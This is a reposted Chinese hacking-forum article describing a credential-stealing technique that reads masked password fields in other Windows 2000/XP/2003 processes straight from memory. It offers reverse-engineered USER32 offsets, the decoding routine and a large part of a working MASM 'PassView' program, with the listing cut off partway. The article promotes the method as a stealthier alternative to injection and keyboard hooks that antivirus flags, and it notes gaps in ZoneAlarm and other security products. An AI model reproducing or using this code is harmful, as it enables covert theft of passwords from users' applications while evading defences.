发新话题
打印

[转载]Edit控件密码窗口的秘密 一种全新的通用密码记录技术

[转载]Edit控件密码窗口的秘密 一种全新的通用密码记录技术

文章作者:czy
原始出处:http://www.ph4nt0m.org

*目前的各类密码记录技术*

目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.

由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.

*两大主流密码记录技术的局限性*

对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.

*目前的思路*

对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)

*新的思路*

在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).


*读哪儿?*

解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)

第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)

:77D184D0 8BFF          mov edi, edi
:77D184D2 55           push ebp
:77D184D3 8BEC          mov ebp, esp
:77D184D5 51           push ecx
:77D184D6 53           push ebx
:77D184D7 56           push esi
:77D184D8 57           push edi
:77D184D9 8855FC         mov byte ptr [ebp-04], dl
:77D184DC 8BF9          mov edi, ecx           ;edi中为密码窗口句柄
:77D184DE 33F6          xor esi, esi
:77D184E0 64A118000000      mov eax, dword ptr fs:[00000018] ;得到当前线程的TEB
:77D184E6 8B0D6000D777      mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000      lea ebx, dword ptr [eax+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7          mov eax, edi
:77D184F4 25FFFF0000       and eax, 0000FFFF         ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108         cmp eax, dword ptr [ecx+08]
:77D184FC 734D          jnb 77D1854B
:77D184FE 8B0D8400D777      mov ecx, dword ptr [77D70084]   ;77D70084是USER32.DLL中的一个全局变量的地址,重要!
:77D18504 8D0440         lea eax, dword ptr [eax+2*eax]
:77D18507 8D0C81         lea ecx, dword ptr [ecx+4*eax]  ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31          mov esi, dword ptr [ecx]     ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100      je 77D329A8
:77D18537 3B30          cmp esi, dword ptr [eax]
:77D18539 0F8269A40100      jb 77D329A8
:77D1853F 3B7004         cmp esi, dword ptr [eax+04]
:77D18542 0F8360A40100      jnb 77D329A8
:77D18548 2B731C         sub esi, dword ptr [ebx+1C]   
;刚才的值-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID

第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:

Exported fn(): EditWndProc - Ord:00C1h ;函数入口
:77D2C538 8BFF          mov edi, edi
:77D2C53A 55           push ebp
:77D2C53B 8BEC          mov ebp, esp
:77D2C53D 83EC1C         sub esp, 0000001C
:77D2C540 8B550C         mov edx, dword ptr [ebp+0C]    ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 53           push ebx
:77D2C544 56           push esi
:77D2C545 57           push edi
:77D2C546 8B7D08         mov edi, dword ptr [ebp+08]
:77D2C549 8B07          mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000      mov esi, dword ptr [edi+000000A4] ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9          xor ecx, ecx            ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4         mov dword ptr [ebp-0C], eax
:77D2C556 41           inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 51           push ecx
:77D2C5BA FF7514         push [ebp+14]
:77D2C5BD FF7510         push [ebp+10]
:77D2C5C0 56           push esi
:77D2C5C1 E88E040000       call 77D2CA54  ;得到窗口内容

第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00        cmp dword ptr [esi+0C], 00000000
:77D4149A 7427          je 77D414C3
:77D4149C 668B466A        mov ax, word ptr [esi+6A]
:77D414A0 660FAF460C       imul ax, word ptr [esi+0C]     ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA        mov word ptr [ebp-06], ax
:77D414A9 668945F8        mov word ptr [ebp-08], ax
:77D414AD 8D45F8         lea eax, dword ptr [ebp-08]
:77D414B0 50           push eax              
:77D414B1 33C0          xor eax, eax
:77D414B3 8A86EC000000      mov al, byte ptr [esi+000000EC]   ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC         mov dword ptr [ebp-04], edi
:77D414BC 50           push eax

* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
                 |
:77D414BD FF154410D177      Call dword ptr [77D11044]      ;对该函数分析可知,esi+00存放编码后的密码的地址

*分析GetWindowTextA后的总结*

分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
我们的进程可不可以获得这三个参数呢?
对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.


*获得GUI TABLE在R3成层的映射基地址*

我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处
:77D21020 8DB5A0FAFFFF      lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777       mov edi, 77D70080   ;注意不是77D70084
:77D2102B F3           repz
:77D2102C A5           movsd

会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:
:77D535F5 B88000D777       mov eax, 77D70080
:77D535FA 5D           pop ebp
:77D535FB C20800         ret 0008
到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)


*把密码算出来*

第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:
  MOV EDX,ENCODE
    mov cl,dl
    mov edi,PASSLEN
@@nextpass:   
    CMP EDI,1
    JBE @@firstpass
    mov eax,esi    ;esi指向编码后的密码的第一个字节.
    add eax,edi
    mov dl,[eax-2]
    xor dl,[eax-1]
    xor dl,cl ;重要
    mov [eax-1],dl
    dec edi
    jmp @@nextpass
@@firstpass:
    or cl,43h
    mov edx,offset buffer1
    xor [edx],cl
注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

*具体编码*

为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:

第一步:得到密码密窗口句柄:

          invoke  GetCursorPos,addr @stPoint       ;得到当前光标位置
      invoke  WindowFromPoint,@stPoint.x,@stPoint.y ;得到光标下窗口的句柄      
      mov  @hWindow,eax
      .if  eax !=  NULL
        invoke GetWindowLong,@hWindow,GWL_STYLE   ;得到窗口风格
        .if (eax & ES_PASSWORD)           ;是密码框吗?
          invoke GetClassName,@hWindow,offset classname,64  ;如果是得到控件类名
          invoke lstrcmpi,offset classname,offset editname
          .if eax == 0                    ;如果类名是Edit,那么调用ViewPass函数读密码
          mov eax,@hWindow
          mov WINHAND,eax
          invoke ViewPass
          .endif         
         
        .endif
      .endif

第二步:判断系统:
LOCAL verinfo:OSVERSIONINFO
  
  mov   verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
  invoke GetVersionEx,addr verinfo
  .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
    mov eax,1 ;xp
    mov passoffset,0A4H
    mov lenoffset ,14H

程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.


第三步:得到密码窗口的线程和进程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID


第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

invoke GetUser32Base,parid
返回值就是基地址:)

GetUser32Base proc uses ebx esi edi remoteproid
      LOCAL hSnapshot:dword
      LOCAL modinfo:MODULEENTRY32
      LOCAL modname[256]:byte

    mov    modinfo.dwSize,sizeof MODULEENTRY32
    invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
    mov   hSnapshot,eax
    invoke Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
    .while eax                  ;相应模块加载的基地址
    lea   ecx,modinfo.szModule
    invoke lstrcmpi,offset user32dll,ecx ;比较模块名是否为user32.dll
    .if   eax == 0
        mov eax,modinfo.modBaseAddr
        ret
    .endif
    invoke Module32Next,hSnapshot,addr modinfo
    .endw
    invoke  CloseHandle,hSnapshot
   
        ret
GetUser32Base  endp

第五步:
根据窗口所在的线程得到该线程的TEB地址
    invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
    ..if  eax != NULL
        mov   THREADHAND,EAX
        invoke  LoadLibrary,offset Ntdll
        invoke  GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
        mov   apiquerthread,eax        
        push  0
        push  sizeof THREAD_BASIC_INFORMATION
        lea   ecx,threadinfo
        push  ecx
        push  ThreadBasicInformation
        push  THREADHAND
        call  apiquerthread
        .IF EAX == STATUS_SUCCESS
          lea ecx,threadinfo
          mov esi,[ecx+4] ;得到TEB了,通常为7FFDX000
        .ELSE
          invoke MessageBox,0,offset errgetteb,offset vp,1
          ret
        .ENDIF
    .else
      invoke MessageBox,0,offset erropenthread,offset vp,1
      ret
    .endif

第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了..
    add esi,6cch ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB   
    add esi,1ch  ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.
    invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
    .if eax == TRUE ;为真说明读成功
        mov eax,offset buffer1
        mov eax,[eax]
        mov edi,eax
        .if eax ==NULL
        invoke MessageBox,0,offset errnorealcid,offset vp,1
        ret
        .endif
    .endif

第七步:得到目标进程R3层的GUI TABLE基地址

这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477       mov eax, 77E4D280
:77E35662 C20800         ret 0008

XP系统:(5.1.2600.2180)
:77D535F5 B88000D777       mov eax, 77D70080
:77D535FA 5D           pop ebp
:77D535FB C20800         ret 0008

2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777       mov eax, 77E724C0
:77E514DE C9           leave
:77E514DF C2080000        ret 0008

分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.

(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)

第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.


*最后的总结*

所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.





注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.


附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL

内存读取获得密码(原创)
;         #--------------------------------------#     #
;        # PassView                #   #
;       #                      #  #
;      #                        #
;     #           2007.1.1          #
;      #          codz: czy        #  #
;       #------------------------------------------#    #

;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR

        .386
        .model flat, stdcall
        option casemap :none  ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include   \masm32\include\windows.inc
include   \masm32\include\kernel32.inc
include   \masm32\include\user32.inc
include   \masm32\include\gdi32.inc


includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib

CLIENT_ID STRUCT    ; sizeof = 8
    UniqueProcess    HANDLE    ?
    UniqueThread    HANDLE    ?
CLIENT_ID ENDS

THREAD_BASIC_INFORMATION STRUCT    ; sizeof = 1ch
    ExitStatus                DWORD      ?
    TebBaseAddress            PVOID        ? ; PTEB
    ClientId              CLIENT_ID    <> ; 8h
    AffinityMask            DWORD        ? ;
    Priority              DWORD        ?
    BasePriority        DWORD        ?
THREAD_BASIC_INFORMATION ENDS

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain    PROTO    :DWORD,:DWORD,:DWORD,:DWORD
ViewPass        proto
_ProcessPeFile     proto :dword
GetUnknowVarOffset   proto
GetUser32Base      proto :dword
CheckOS         proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS        equ    0
ThreadBasicInformation    equ 0
DLG_MAIN    equ        1000
ID_PWD        equ        1001
IDB_1        equ      1
IDC_BMP        equ      108

RGB MACRO red, green, blue
    xor eax, eax
    mov al, blue  ; blue
    rol eax, 8
    mov al, green  ; green
    rol eax, 8
    mov al, red   ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain  dd ?
vp     db &#39;viewpass 0.1 codz czy&#39;,0
PASSLEN   DD ?
ENCODE   DD ?
WINTHREADID DD ?
WINHAND   DD 0
unknownvar DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset  dd ?
modbase   dd ?
lenoffset  dd ?
passoffset dd ?
Tahoma   db &#39;Tahoma&#39;,0
editname  db &#39;EdIt&#39;,0
Richeditname db &#39;RichEdit20W&#39;,0
dataname  db &#39;.data  &#39;,0
erros    db &#39;不是吧,还在用WIN9X/NT4&#39;,0
nowin    db &#39;找不到主窗体&#39;,0
nowin2   db &#39;找不到子窗体中的密码窗口&#39;,0
errnowow  db &#39;不能找到UserRegisterWowHandlers函数地址&#39;,0
errnocode  db &#39;不能找到UserRegisterWowHandlers函数中相匹配的机器码&#39;,0
erropenthread db &#39;不能打开线程&#39;,0
errgetteb   db &#39;打开线程但不能得到TEB&#39;,0
errnorealcid db &#39;不能得到TEB中的RealClientID&#39;,0
errnounknowvar db &#39;不能从user32.dll中找到未知变量&#39;,0
passerr   db &#39;密码太长或为空&#39;,0
tebformat  db &#39;TEB %x&#39;,0
varformat  db &#39;user32.dll gSharedInfo addr:%x&#39;,0
varformat2 db &#39;GUI TABLE in user modle addr:%08x&#39;,0
realcidformat db &#39;real cid:%x&#39;,0
Wndformat   db &#39;pass window hand:%x,win thread id:%x&#39;,0
wndcontformat db &#39;win struct:%x&#39;,0
passaddrformat db &#39;pass addr:%x&#39;,0
passlenformat db &#39;pass len:%d&#39;,0
passformat   db &#39;pass decode is:%x&#39;,0
user32dll   db &#39;user32.dll&#39;,0
Ntdll          db    "NTDLL.DLL",0
_UserRegisterWowHandlers db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND   DD 0
apiquerthread dd ?
Pthreadinfo  dd ?
.data?
hInstance      dd ?
szBuffer      db 256 dup    (?)
buffervar   db 32 dup (?)
buffervar2   db 32 dup (?)
bufferteb   db 32 dup (?)
bufferPassWnd db 32 dup (?)
bufferrealcid db 32 dup (?)
bufferwndcont db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen db 32 dup (?)
bufferpass1  db 128 dup (?)
bufferuni   db 256 dup (?)
classname   db 128 dup (?)
buffer1    db 128 dup (?)
buffercode   db 1024 dup (?)

        .code

;********************************************************************
ViewPass proc
      LOCAL parid:dword
      LOCAL threadinfo:THREAD_BASIC_INFORMATION

    ;invoke MessageBox,0,offset vp,offset vp,1

;--------------判断操作系统   
    invoke CheckOS
    .if eax == 0
      ret
    .endif   
   
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
      
      MOV EBX,WINHAND
      .if EBX!=NULL
        invoke GetWindowThreadProcessId,eBx,addr parid
        MOV  WINTHREADID,EAX
        ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
        ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
      .else
        invoke  MessageBox,0,offset nowin2,offset vp,1
        ret   
      .endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

    invoke GetUser32Base,parid
    mov  modbase,eax

;--------------根据窗口所在的线程得到该线程的TEB地址
      invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
      .if    eax != NULL
          mov   THREADHAND,EAX
            invoke    LoadLibrary,offset Ntdll
          invoke    GetProcAddress,eax,offset _ZwQueryInformationThread
          mov   apiquerthread,eax         
          push  0
          push  sizeof THREAD_BASIC_INFORMATION
          lea   ecx,threadinfo
          push  ecx
          push  ThreadBasicInformation
          push  THREADHAND
          call  apiquerthread
          .IF EAX == STATUS_SUCCESS
            lea ecx,threadinfo
            mov esi,[ecx+4] ;得到TEB了
          .ELSE
            invoke MessageBox,0,offset errgetteb,offset vp,1
            ret
        .ENDIF
    .else
      invoke MessageBox,0,offset erropenthread,offset vp,1
      ret
    .endif
    ;invoke wsprintf,offset bufferteb,offset tebformat,esi
    ;invoke MessageBox,0,offset bufferteb,offset vp,1
   
;-------------------------得到TEB中的RealClientID   
    add esi,6cch
    add esi,1ch
    invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
    .if eax == TRUE
        mov eax,offset buffer1
        mov eax,[eax]
        mov edi,eax
        .if eax !=NULL
        ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
        ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
        .else
        invoke MessageBox,0,offset errnorealcid,offset vp,1
        ret
        .endif
    .endif
  

   
    ;密码窗口句柄取低16位
    xor eax,eax
    mov  ebx,WINHAND
    mov  ax,bx
    add  ax,ax
    add  ax,bx ;3
    add  ax,ax ;6
    add  ax,ax ;12
    mov  ebx,eax
    pushad
    invoke GetUnknowVarOffset
    .if eax !=NULL
        mov eax,VarOffset
        add eax,modbase
        add eax,VirtualAddress
        ;invoke wsprintf,offset buffervar,offset varformat,eax
        ;invoke MessageBox,0,offset buffervar,offset vp,1   
    .else
        invoke MessageBox,0,offset errnounknowvar,offset vp,1
        ret
    .endif
    popad
    mov ecx,VarOffset
    add ecx,modbase
    add ecx,VirtualAddress
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov ecx,[ecx]
        ;push ecx
        ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
        ;invoke MessageBox,0,offset buffervar2,offset vp,1
        ;pop ecx

    .endif   
    add ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
    invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov ecx,[ecx]
    .endif
    sub ecx,edi ;减REALCLIENTID
    mov esi,ecx
    ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
    ;invoke MessageBox,0,offset bufferwndcont,offset vp,1
   
    add esi,passoffset
    invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov esi,[ecx]
    .endif
    ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
    ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1   
    ;得到密码长度
    mov ecx,esi
    add ecx,lenoffset
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov ecx,[ecx]
        mov PASSLEN,ecx
    .endif  
    .if ecx>0 && ecx <32
    ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
    ;invoke MessageBox,0,offset bufferpasslen,offset vp,1   
    .else
    invoke MessageBox,0,offset passerr,offset vp,1
    ret
    .endif
   
    ;得到加密密码的变量   
    mov  ecx,esi
    add  ecx,0ECh
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        MOV ECX,[ECX]
        xor edx,edx
        movzx edx,cl
        mov ENCODE,EDX
    .endif
    ;invoke wsprintf,offset bufferpass1,offset passformat,edx
    ;invoke MessageBox,0,offset bufferpass1,offset vp,1        
   
    ;得到解密后的密码
    mov  ecx,esi
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov ecx,[ecx]
    .endif
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
    .if eax == TRUE
        mov ecx,offset buffer1
        mov ecx,[ecx]
    .endif
    mov ebx,ecx   
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
    .if eax == TRUE
        mov esi,offset buffer1
    .endif
   
    MOV EDX,ENCODE
    mov cl,dl
    mov edi,PASSLEN
@@nextpass:   
    CMP EDI,1
    JBE @@firstpass
    mov eax,esi
    add eax,edi
    mov dl,[eax-2]
    xor dl,[eax-1]
    xor dl,cl ;重要
    mov [eax-1],dl
    dec edi
    jmp @@nextpass
@@firstpass:
    or cl,43h ;WHY?
    mov edx,offset buffer1
    xor [edx],cl
    ;密码可能是UNICODE的
    invoke lstrlenA,edx
   
    .if eax<PASSLEN ;密码是UNICODE
    mov edx,PASSLEN
    add edx,edx
    mov ecx,ebx
    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
    .if eax == TRUE
        mov esi,offset buffer1
    .endif
    mov edi,PASSLEN
    add edi,edi
    MOV EDX,ENCODE
    mov cl,dl
   
@@nextpass2:   
    CMP EDI,1
    JBE @@firstpass2
    mov eax,esi
    add eax,edi
    mov dl,[eax-2]
    xor dl,[eax-1]
    xor dl,cl ;重要
    mov [eax-1],dl
    dec edi
    jmp @@nextpass2
@@firstpass2:
    or cl,43h
    mov edx,offset buffer1
    xor [edx],cl
    ;invoke MessageBoxW,0,edx,edx,1
    invoke    SetDlgItemTextW,hWinMain,ID_PWD,edx   
    .else
    mov ecx,offset buffer1
    add ecx,PASSLEN
    xor eax,eax
    MOV [ECX],eax
    invoke    SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
    invoke RtlZeroMemory,offset buffer1,128
    .endif

      ret
ViewPass endp

comment %
GetUnknowVarOffset proc uses esi edi ebx
          LOCAL  user32base:dword
          LOCAL  varaddr:dword  

    invoke LoadLibrary,offset user32dll
